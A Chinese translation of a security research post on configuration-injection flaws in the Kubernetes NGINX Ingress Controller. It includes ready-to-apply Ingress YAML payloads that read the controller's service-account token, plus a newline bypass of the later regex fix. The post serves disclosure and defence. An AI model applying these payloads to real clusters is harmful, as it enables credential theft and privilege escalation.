最新漏洞,原文地址:https://blog.lightspin.io/kubernetes-nginx-ingress-controller-vulnerabilities
序言
从 2021 年 10 月开始,NGINX 的 Kubernetes Ingress Controller开始受到安全研究人员的关注,曾披露了CVE-2021-25742漏洞:攻击者可以通过定制化的Snippets特性创建或修改集群中的Ingress实例,从而获取集群中所有的Secret实例信息。
CVE-2021-25742 的要点是:攻击者能够使用片段注释功能将 Lua 代码作为 NGINX 配置的一部分注入服务器块中。由于当时 NGINX Kubernetes Ingress Controller 的设计不安全,攻击者可以利用 Lua 代码执行来获取 Ingress Controller 访问令牌(该令牌在 Kubernetes 集群内具有高权限)。
研究历程
在 CVE-2021-25742 发布后的几个月内,Lightspin 和其他研究人员发现了三个利用 NGINX Kubernetes Ingress Controller 配置文件注入的新 CVE :CVE-2021-25745、CVE-2021-25746、CVE-2021 -25748。
Kubernetes NGINX Ingress Controller 漏洞频发的原因
Ingress Controller 之所以成为攻击者和研究人员的理想目标,主要有三个原因。
流行:根据公开研究,大多数 Kubernetes 集群使用 NGINX 作为其入口控制器。以下是CNCF 2021 年针对使用过的 Kubernetes Ingress 提供商的调查结果。NGINX 的 Ingress Controller 用于全球 50% 的响应集群。
高权限:默认情况下,NGINX Ingress Controller在集群中拥有一个具有强大权限的服务帐户,例如能够获取集群中的任何密钥。如果 Kubernetes 集群中有一个服务帐户绑定到另一个高特权集群角色(例如“cluster-admin”),攻击者可以轻松地从 NGINX Ingress Controller转移到另一个服务帐户。
开源:在过去的几年里,软件供应链风险一直是安全社区的头等大事,就 NGINX Ingress Controller而言,它的流行应该会加剧这种担忧。
根本原因
作为 Ingress-NGINX 实现的一部分,有两个主要组件在运行:
NGINX Web 代理服务器:接收传入请求并根据nginx.conf配置文件中编写的规则路由它们。
Ingress controller: 负责通过将其解释添加到nginx.conf配置文件来满足 Ingress 资源规则的组件。
在安全设计中,应该有一种方式从 Ingress 控制器访问 NGINX Web 代理nginx.conf配置文件以进行规则更新。NGINX Web 代理进程不应该对 Ingress 控制器资源有任何访问权限。
添加到 Ingress 控制器的ingress-nginx集群角色使这种分离更加重要,这将决定它在集群中正确运行。此集群角色具有强大的权限,例如获取集群范围内的所有密钥。不幸的是,这种分离还没有完全实现,这使得 Ingress-NGINX 成为在集群内进行提权的较好途径。
CVE-2021-25745:使用Ingress资源注入nginx.conf
该过程的一个重要部分是了解 Ingress 资源定义如何转换为nginx.conf文件中的配置块。首先,创建一个简单的 Ingress 资源。
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: gaf-ingress
annotations:
kubernetes.io/ingress.class: "nginx"
spec:
rules:
- http:
paths:
- path: /gaf
pathType: Prefix
backend:
service:
name: some-service
port:
number: 5678
创建 Ingress 资源后,我们可以检查nginx.conf文件中的更改。
kubectl exec -it <ingress-nginx-controller-pod> -n ingress-nginx -- cat /etc/nginx/nginx.conf | grep gaf -A 20 -B 20
有多个字段的值被注入到nginx.conf文件中(path, namespace, Ingress name, service name and port)。但它们中的大多数被 DNS 使用,并且仅限于字母数字字符、数字、“-”或“.”。唯一可以包含任何字符的字段是路径。
通过操作路径字段中的值,我们可以关闭配置中的当前位置块,并打开一个新块,可以包含任意我们想输入的内容,即“配置注入”。由于 NGINX 有可以提供静态内容的指令,我们可以使用指令或 Lua 代码来获取ingress-nginx服务帐户令牌。
alias指令的payload:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: gaf-ingress
annotations:
kubernetes.io/ingress.class: "nginx"
spec:
rules:
- http:
paths:
- path: /gaf{alias /var/run/secrets/kubernetes.io/serviceaccount/;}location ~* ^/aaa
pathType: Prefix
backend:
service:
name: some-service
port:
number: 5678
root指令的payload:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: gaf-ingress
annotations:
kubernetes.io/ingress.class: "nginx"
spec:
rules:
- http:
paths:
- path: /serviceaccount{root /var/run/secrets/kubernetes.io;}location ~* ^/aaa
pathType: Prefix
backend:
service:
name: some-service
port:
number: 5678
这是使用alias指令payload后生成的 nginx.conf 内容:
现在我们可以从http://<host>/gaf/token访问 Ingress 控制器服务帐户令牌
CVE-2021-25748:修复和绕过
作为 CVE-2021-25745 修复的一部分,Kubernetes 团队为 Ingress 对象规范实施了深度检查。该检查器使用正则表达式模式列表来验证 Ingress 字段的值,如下所示。
虽然整体实现实现了其目标,但我们仍然发现上述正则表达式模式存在两个问题:
- / var/run链接到/run。所以,我们可以访问/run/secrets/kubernetes.io/serviceaccount/token
- 我们可以使用换行符 (\n) 绕过 '.*;' 查看。
这是一个绕过正则表达式的payload示例,正如我们所解释的:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: gaf-ingress
annotations:
kubernetes.io/ingress.class: "nginx"
spec:
rules:
- http:
paths:
- path: "/gaf{alias #\n/run/secrets/kubernetes.io/serviceaccount/;}location ~* ^/aaa"
pathType: Prefix
backend:
service:
name: some-service
port:
number: 5678
上述情况已经报告给了Kubernetes,随后在 NGINX Ingress Controller 的 1.2.1 版本中得到修复。作为更新修复的一部分, alias 和 root 指令已被删除,这使我们滥用正则表达式模式的方式无效。